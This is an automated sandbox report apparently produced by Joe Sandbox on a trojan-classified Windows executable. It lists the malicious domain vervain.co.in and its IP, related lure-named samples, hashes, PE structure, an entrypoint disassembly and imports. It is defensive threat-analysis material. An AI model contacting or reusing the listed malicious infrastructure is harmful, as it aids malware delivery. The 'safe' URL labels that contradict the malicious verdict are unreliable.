ncIpox4w8f.exe, 00000000.00000003.445748706.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.emerge.de	ncIpox4w8f.exe	false	Avira URL Cloud: safe	unknown
https://vervain.co.in/pe	ncIpox4w8f.exe, 00000000.00000003.280207493.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://vervain.co.in/ain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvsk0.1	ncIpox4w8f.exe, 00000000.00000003.495649105.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.491013350.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.502989653.00000000007FC000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.416838008.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.401276739.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.412105377.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.397940180.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.500416141.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://vervain.co.in/t	ncIpox4w8f.exe, 00000000.00000003.250747131.000000000080F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://vervain.co.in/rpriseCertificates	ncIpox4w8f.exe, 00000000.00000003.263297176.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://vervain.co.in/le	ncIpox4w8f.exe, 00000000.00000003.263297176.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.266148150.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.283324784.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.384591005.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.328765144.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.324671146.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.280207493.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.286441271.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.367752702.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.433704341.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.288987691.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.436106009.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.309024067.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.382209137.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://vervain.co.in/roso	ncIpox4w8f.exe, 00000000.00000003.255360203.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.252950036.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
199.79.62.221	vervain.co.in	United States		394695	PUBLIC-DOMAIN-REGISTRYUS	true

General Information

Joe Sandbox Version:	35.0.0 Citrine
Analysis ID:	679306
Start date and time: 05/08/202215:07:12	2022-08-05 15:07:12 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	ncIpox4w8f (renamed file extension from none to exe)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal80.troj.winEXE@1/0@1/1
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 6
Cookbook Comments:	Adjust boot time Enable AMSI

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, wuapihost.exe
Excluded IPs from analysis (whitelisted): 23.211.6.115, 20.223.24.244, 20.238.103.94
Excluded domains from analysis (whitelisted): www.bing.com, fs.microsoft.com, asf-ris-prod-neu-azsc.northeurope.cloudapp.azure.com, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ris-prod.trafficmanager.net, ctldl.windowsupdate.com, store-images.s-microsoft.com-c.edgekey.net, arc.msn.com, ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, rp-consumer-prod-displaycatalog-geomap.trafficmanager.net, login.live.com, store-images.s-microsoft.com, sls.update.microsoft.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net
Execution Graph export aborted for target ncIpox4w8f.exe, PID 2916 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
15:08:19	API Interceptor	88x Sleep call for process: ncIpox4w8f.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
199.79.62.221	IMAGEDocumentsDOC0559DOC0302732112202135JIH.exe	Get hash	malicious	Browse
	IMAGESCANDOCUMENTSFILE0090HG09.exe	Get hash	malicious	Browse
	SecuriteInfo.com.W32.AIDetect.malware2.6397.exe	Get hash	malicious	Browse
	ScanDocument_00E7HFHRU485657EYDGRHEY4857RY4ETEE.exe	Get hash	malicious	Browse
	Jssgadmetgqxqellrodyqcagjzcwynniek.exe	Get hash	malicious	Browse
	SHIPPING_DOCUMENTSFILES_90384GCHE64DGEY438GY.exe	Get hash	malicious	Browse
	PURCHASING_ORDER_0004YFF848499DUGRY574YETEYR.exe	Get hash	malicious	Browse
	Bank_NotificationCOPY994633GDTE7464563GDTE.exe	Get hash	malicious	Browse
	IMAGEDocumentsDOC0559DOC0302732112202135JIHG25485.exe	Get hash	malicious	Browse
	SecuriteInfo.com.W32.AIDetect.malware2.8771.exe	Get hash	malicious	Browse
	IMAGEDocumentsDOC0559DOC0302732112202135JIHG.exe	Get hash	malicious	Browse
	DocumentsDOC03029314B76848A444B498C03EEC7E6F.exe	Get hash	malicious	Browse
	IMAGEDOC0559DOC0302732112202135JIHGERRF544.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.GenericKD.39915333.14561.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Zusy.428082.19221.exe	Get hash	malicious	Browse
	ScanDocuments9314B76848A444B8C03EEC7E6FB8PDF.exe	Get hash	malicious	Browse
	DocumentsDOC03029314B76848A444B498C03EEC7E.exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
vervain.co.in	IMAGEDocumentsDOC0559DOC0302732112202135JIH.exe	Get hash	malicious	Browse	199.79.62.221
	IMAGESCANDOCUMENTSFILE0090HG09.exe	Get hash	malicious	Browse	199.79.62.221
	SecuriteInfo.com.W32.AIDetect.malware2.6397.exe	Get hash	malicious	Browse	199.79.62.221
	ScanDocument_00E7HFHRU485657EYDGRHEY4857RY4ETEE.exe	Get hash	malicious	Browse	199.79.62.221
	Jssgadmetgqxqellrodyqcagjzcwynniek.exe	Get hash	malicious	Browse	199.79.62.221
	SHIPPING_DOCUMENTSFILES_90384GCHE64DGEY438GY.exe	Get hash	malicious	Browse	199.79.62.221
	PURCHASING_ORDER_0004YFF848499DUGRY574YETEYR.exe	Get hash	malicious	Browse	199.79.62.221
	Bank_NotificationCOPY994633GDTE7464563GDTE.exe	Get hash	malicious	Browse	199.79.62.221
	IMAGEDocumentsDOC0559DOC0302732112202135JIHG25485.exe	Get hash	malicious	Browse	199.79.62.221
	SecuriteInfo.com.W32.AIDetect.malware2.8771.exe	Get hash	malicious	Browse	199.79.62.221
	IMAGEDocumentsDOC0559DOC0302732112202135JIHG.exe	Get hash	malicious	Browse	199.79.62.221
	DocumentsDOC03029314B76848A444B498C03EEC7E6F.exe	Get hash	malicious	Browse	199.79.62.221
	IMAGEDOC0559DOC0302732112202135JIHGERRF544.exe	Get hash	malicious	Browse	199.79.62.221
	SecuriteInfo.com.Trojan.GenericKD.39915333.14561.exe	Get hash	malicious	Browse	199.79.62.221
	SecuriteInfo.com.Variant.Zusy.428082.19221.exe	Get hash	malicious	Browse	199.79.62.221
	ScanDocuments9314B76848A444B8C03EEC7E6FB8PDF.exe	Get hash	malicious	Browse	199.79.62.221
	DocumentsDOC03029314B76848A444B498C03EEC7E.exe	Get hash	malicious	Browse	199.79.62.221

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
PUBLIC-DOMAIN-REGISTRYUS	BANK DATAILS.exe	Get hash	malicious	Browse	103.195.185.58
	WLmNdxIHr3.exe	Get hash	malicious	Browse	208.91.199.223
	DOC_6000019430_AUGUST2022.EXE	Get hash	malicious	Browse	208.91.198.143
	hpyvq3OqZv.exe	Get hash	malicious	Browse	208.91.199.225
	D99Wy236LD.exe	Get hash	malicious	Browse	111.118.212.38
	PURCHASE ORDER.exe	Get hash	malicious	Browse	208.91.199.223
	Swift Copy.exe	Get hash	malicious	Browse	103.21.58.15
	PO-151.exe	Get hash	malicious	Browse	208.91.199.223
	Invoice SIL-EDI-0-2022-392.exe	Get hash	malicious	Browse	119.18.49.30
	PAYMENT ADVICE.exe	Get hash	malicious	Browse	208.91.199.225
	IMG_03184.exe	Get hash	malicious	Browse	103.21.58.15
	PURCHASE ORDER.exe	Get hash	malicious	Browse	111.118.215.251
	ORDER-NO0003.exe	Get hash	malicious	Browse	208.91.199.224
	Doc_Requisition Quote_JULY2022.exe	Get hash	malicious	Browse	208.91.198.143
	PO from Proform Technologies Inc 15124.pdf.rar.exe	Get hash	malicious	Browse	111.118.215.251
	RFQ-Prebid Inquiries..exe	Get hash	malicious	Browse	208.91.199.224
	SecuriteInfo.com.W32.AIDetectNet.01.25263.exe	Get hash	malicious	Browse	103.21.58.130
	Payment Copy_Bank Fab.doc	Get hash	malicious	Browse	103.21.58.130
	Bank FAB_ Payment Copy_Pdf.exe	Get hash	malicious	Browse	103.21.58.130
	n7SttFD3Nc.exe	Get hash	malicious	Browse	103.195.185.94

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
37f463bf4616ecd445d4a1937da06e19	Facturas Pagadas al VencimientoPDF.exe	Get hash	malicious	Browse	199.79.62.221
	asim5528 BACS Remittance Advise.hta	Get hash	malicious	Browse	199.79.62.221
	60MLnq8Uma.exe	Get hash	malicious	Browse	199.79.62.221
	aTTbUbX63Q.exe	Get hash	malicious	Browse	199.79.62.221
	Order August Euro 61,800.exe	Get hash	malicious	Browse	199.79.62.221
	https://denisaolldashi.clickfunnels.com/auto-webinar-registration1659690849768	Get hash	malicious	Browse	199.79.62.221
	https://denisaolldashi.clickfunnels.com/auto-webinar-registration1659690849768	Get hash	malicious	Browse	199.79.62.221
	mWyPrcv7Pl.exe	Get hash	malicious	Browse	199.79.62.221
	E3ftUykd1O.exe	Get hash	malicious	Browse	199.79.62.221
	f1M2XRyWg0.exe	Get hash	malicious	Browse	199.79.62.221
	NJid695aBy.exe	Get hash	malicious	Browse	199.79.62.221
	Uyljxgntczjzqsjbfhyebvyzaflytpubrw.exe	Get hash	malicious	Browse	199.79.62.221
	tZ5FHT4ZvH.exe	Get hash	malicious	Browse	199.79.62.221
	v6FVyczaz7.exe	Get hash	malicious	Browse	199.79.62.221
	g6eZdl6puZ.exe	Get hash	malicious	Browse	199.79.62.221
	vOj00hEkoQ.exe	Get hash	malicious	Browse	199.79.62.221
	Original Shipment_Document.PDF.exe	Get hash	malicious	Browse	199.79.62.221
	VoRTaSs6hl.exe	Get hash	malicious	Browse	199.79.62.221
	TK6iBGp8Bn.exe	Get hash	malicious	Browse	199.79.62.221
	2OmglUwx83.exe	Get hash	malicious	Browse	199.79.62.221

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.977226984193113
TrID:	Win32 Executable (generic) a (10002005/4) 90.27% Win32 Executable Borland Delphi 7 (665061/41) 6.00% Win32 Executable Borland Delphi 6 (262906/60) 2.37% Windows ActiveX control (116523/4) 1.05% Win32 Executable Delphi generic (14689/80) 0.13%
File name:	ncIpox4w8f.exe
File size:	1009664
MD5:	03fb0f9df279b56130a63d5330461789
SHA1:	705d9c59fe6cdeec9e28d1d803cb94765d1dc4de
SHA256:	59290e0709f6bc918c12c38604eaabcd79b77f699ca2f1abf3af4fccef444a94
SHA512:	7370210b461ad1f345c90aae2753da60f5319006acac31f36a55a8512b70dbac8ecc2c2a226e4e94a9f835c5185d79d93c24812ae6d7a1e0cee40b374dc9587d
SSDEEP:	24576:5DA1mchKTwkH17WtMBhiUDxvHiMYStUtVSn52pAf2rDNtl2aCHX:5Dhc8ZPbVI5Sn52KN
TLSH:	93258D32F2D24833C4B32B3C5E1B52A599397E102E74D88A6BED1D981FF96417D392C6
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	c49af2e8ece0e6c8

Static PE Info

General

Entrypoint:	0x4a3b74
Entrypoint Section:	CODE
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	205f6434858f3f8cc9e8b96d094507a2

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 004A38D4h
call 00007FB2DC6995D1h
mov eax, dword ptr [004A587Ch]
mov eax, dword ptr [eax]
call 00007FB2DC6FA311h
mov ecx, dword ptr [004A59E0h]
mov eax, dword ptr [004A587Ch]
mov eax, dword ptr [eax]
mov edx, dword ptr [004A0C1Ch]
call 00007FB2DC6FA311h
mov eax, dword ptr [004A59E0h]
mov eax, dword ptr [eax]
call 00007FB2DC6F6D85h
mov eax, dword ptr [004A587Ch]
mov eax, dword ptr [eax]
call 00007FB2DC6FA379h
call 00007FB2DC697034h
lea eax, dword ptr [eax+00h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa7000	0x27a4	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xb9000	0x43000	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xac000	0xc1ec	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xab000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
CODE	0x1000	0xa2bc8	0xa2c00	False	0.5100101406490015	data	6.535344306379752	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
DATA	0xa4000	0x1aa4	0x1c00	False	0.42703683035714285	data	4.101220909917565	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
BSS	0xa6000	0xef5	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xa7000	0x27a4	0x2800	False	0.3671875	data	5.001062777293974	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0xaa000	0x40	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xab000	0x18	0x200	False	0.05078125	data	0.2005819074398449	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.reloc	0xac000	0xc1ec	0xc200	False	0.5179606958762887	data	6.616954325025841	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.rsrc	0xb9000	0x43000	0x43000	False	0.5515610424440298	data	7.271052678577541	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
AUDIOES	0xb9d88	0x3697c	RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, stereo 44100 Hz	English	United States
RT_CURSOR	0xf0704	0x134	data
RT_CURSOR	0xf0838	0x134	data
RT_CURSOR	0xf096c	0x134	data
RT_CURSOR	0xf0aa0	0x134	data
RT_CURSOR	0xf0bd4	0x134	data
RT_CURSOR	0xf0d08	0x134	data
RT_CURSOR	0xf0e3c	0x134	data
RT_BITMAP	0xf0f70	0x1d0	data
RT_BITMAP	0xf1140	0x1e4	data
RT_BITMAP	0xf1324	0x1d0	data
RT_BITMAP	0xf14f4	0x1d0	data
RT_BITMAP	0xf16c4	0x1d0	data
RT_BITMAP	0xf1894	0x1d0	data
RT_BITMAP	0xf1a64	0x1d0	data
RT_BITMAP	0xf1c34	0x1d0	data
RT_BITMAP	0xf1e04	0x1d0	data
RT_BITMAP	0xf1fd4	0x1d0	data
RT_BITMAP	0xf21a4	0xe8	GLS_BINARY_LSB_FIRST	English	United States
RT_ICON	0xf228c	0x25a8	dBase IV DBT of `.DBF, block length 9216, next free block index 40, next free block 0, next used block 0
RT_ICON	0xf4834	0x988	data
RT_ICON	0xf51bc	0x468	GLS_BINARY_LSB_FIRST
RT_DIALOG	0xf5624	0x52	data
RT_STRING	0xf5678	0x114	data
RT_STRING	0xf578c	0x3d0	data
RT_STRING	0xf5b5c	0x554	data
RT_STRING	0xf60b0	0x3cc	data
RT_STRING	0xf647c	0x1d4	data
RT_STRING	0xf6650	0x180	data
RT_STRING	0xf67d0	0x314	COM executable for DOS
RT_STRING	0xf6ae4	0x4f4	data
RT_STRING	0xf6fd8	0x1c0	data
RT_STRING	0xf7198	0xec	data
RT_STRING	0xf7284	0x134	data
RT_STRING	0xf73b8	0x314	data
RT_STRING	0xf76cc	0x40c	data
RT_STRING	0xf7ad8	0x380	data
RT_STRING	0xf7e58	0x3d4	data
RT_STRING	0xf822c	0x250	data
RT_STRING	0xf847c	0xec	data
RT_STRING	0xf8568	0x1dc	data
RT_STRING	0xf8744	0x3ec	data
RT_STRING	0xf8b30	0x3f4	data
RT_STRING	0xf8f24	0x30c	data
RT_STRING	0xf9230	0x328	data
RT_RCDATA	0xf9558	0x10	data
RT_RCDATA	0xf9568	0x370	data
RT_RCDATA	0xf98d8	0x16ad	Delphi compiled form 'TForm1'
RT_RCDATA	0xfaf88	0x2c3	Delphi compiled form 'TForm2'
RT_RCDATA	0xfb24c	0x39e	Delphi compiled form 'TForm3'
RT_RCDATA	0xfb5ec	0x2d0	Delphi compiled form 'TForm4'
RT_GROUP_CURSOR	0xfb8bc	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_CURSOR	0xfb8d0	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_CURSOR	0xfb8e4	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_CURSOR	0xfb8f8	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_CURSOR	0xfb90c	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_CURSOR	0xfb920	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_CURSOR	0xfb934	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_ICON	0xfb948	0x30	data
RT_VERSION	0xfb978	0x498	data	German	Germany

Imports

DLL	Import
kernel32.dll	DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, VirtualFree, VirtualAlloc, LocalFree, LocalAlloc, GetVersion, GetCurrentThreadId, InterlockedDecrement, InterlockedIncrement, VirtualQuery, WideCharToMultiByte, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLastError, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, WriteFile, UnhandledExceptionFilter, SetFilePointer, SetEndOfFile, RtlUnwind, ReadFile, RaiseException, GetStdHandle, GetFileSize, GetFileType, CreateFileA, CloseHandle
user32.dll	GetKeyboardType, LoadStringA, MessageBoxA, CharNextA
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
kernel32.dll	lstrcpyA, WriteFile, WaitForSingleObject, VirtualQuery, VirtualProtect, VirtualAlloc, Sleep, SizeofResource, SetThreadLocale, SetFilePointer, SetEvent, SetErrorMode, SetEndOfFile, ResetEvent, ReadFile, MultiByteToWideChar, MulDiv, LockResource, LoadResource, LoadLibraryA, LeaveCriticalSection, InitializeCriticalSection, GlobalUnlock, GlobalReAlloc, GlobalHandle, GlobalLock, GlobalFree, GlobalFindAtomA, GlobalDeleteAtom, GlobalAlloc, GlobalAddAtomA, GetVersionExA, GetVersion, GetTickCount, GetThreadLocale, GetSystemInfo, GetStringTypeExA, GetStdHandle, GetProfileStringA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetDiskFreeSpaceA, GetDateFormatA, GetCurrentThreadId, GetCurrentProcessId, GetCurrentProcess, GetComputerNameA, GetCPInfo, GetACP, FreeResource, InterlockedExchange, FreeLibrary, FormatMessageA, FlushInstructionCache, FindResourceA, FindFirstFileA, FindClose, FileTimeToLocalFileTime, FileTimeToDosDateTime, EnumCalendarInfoA, EnterCriticalSection, DeleteFileA, DeleteCriticalSection, CreateThread, CreateFileA, CreateEventA, CompareStringA, CloseHandle
version.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
gdi32.dll	UnrealizeObject, StretchBlt, StartPage, StartDocA, SetWindowOrgEx, SetWinMetaFileBits, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetMapMode, SetEnhMetaFileBits, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SetAbortProc, SelectPalette, SelectObject, SelectClipRgn, SaveDC, RestoreDC, Rectangle, RectVisible, RealizePalette, Polyline, Polygon, PlayEnhMetaFile, PatBlt, MoveToEx, MaskBlt, LineTo, IntersectClipRect, GetWindowOrgEx, GetWinMetaFileBits, GetTextMetricsA, GetTextExtentPointA, GetTextExtentPoint32A, GetSystemPaletteEntries, GetStockObject, GetPixel, GetPaletteEntries, GetObjectA, GetEnhMetaFilePaletteEntries, GetEnhMetaFileHeader, GetEnhMetaFileBits, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, GdiFlush, ExtTextOutA, ExcludeClipRect, EndPage, EndDoc, DeleteObject, DeleteEnhMetaFile, DeleteDC, CreateSolidBrush, CreatePenIndirect, CreatePalette, CreateICA, CreateHalftonePalette, CreateFontIndirectA, CreateDIBitmap, CreateDIBSection, CreateDCA, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, CopyEnhMetaFileA, CombineRgn, BitBlt
user32.dll	CreateWindowExA, WindowFromPoint, WinHelpA, WaitMessage, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, SystemParametersInfoA, ShowWindow, ShowScrollBar, ShowOwnedPopups, ShowCursor, ShowCaret, SetWindowsHookExA, SetWindowTextA, SetWindowPos, SetWindowPlacement, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropA, SetParent, SetMenuItemInfoA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClipboardData, SetClassLongA, SetCapture, SetActiveWindow, SendMessageA, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageA, OpenClipboard, OffsetRect, OemToCharA, MessageBoxA, MessageBeep, MapWindowPoints, MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageA, IsChild, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, HideCaret, GetWindowThreadProcessId, GetWindowTextA, GetWindowRect, GetWindowPlacement, GetWindowLongA, GetWindowDC, GetUpdateRect, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropA, GetParent, GetWindow, GetMenuStringA, GetMenuState, GetMenuItemInfoA, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDlgItem, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClipboardData, GetClientRect, GetClassNameA, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows, EndPaint, EnableWindow, EnableScrollBar, EnableMenuItem, EmptyClipboard, DrawTextA, DrawStateA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawFocusRect, DrawEdge, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreatePopupMenu, CreateMenu, CreateIcon, 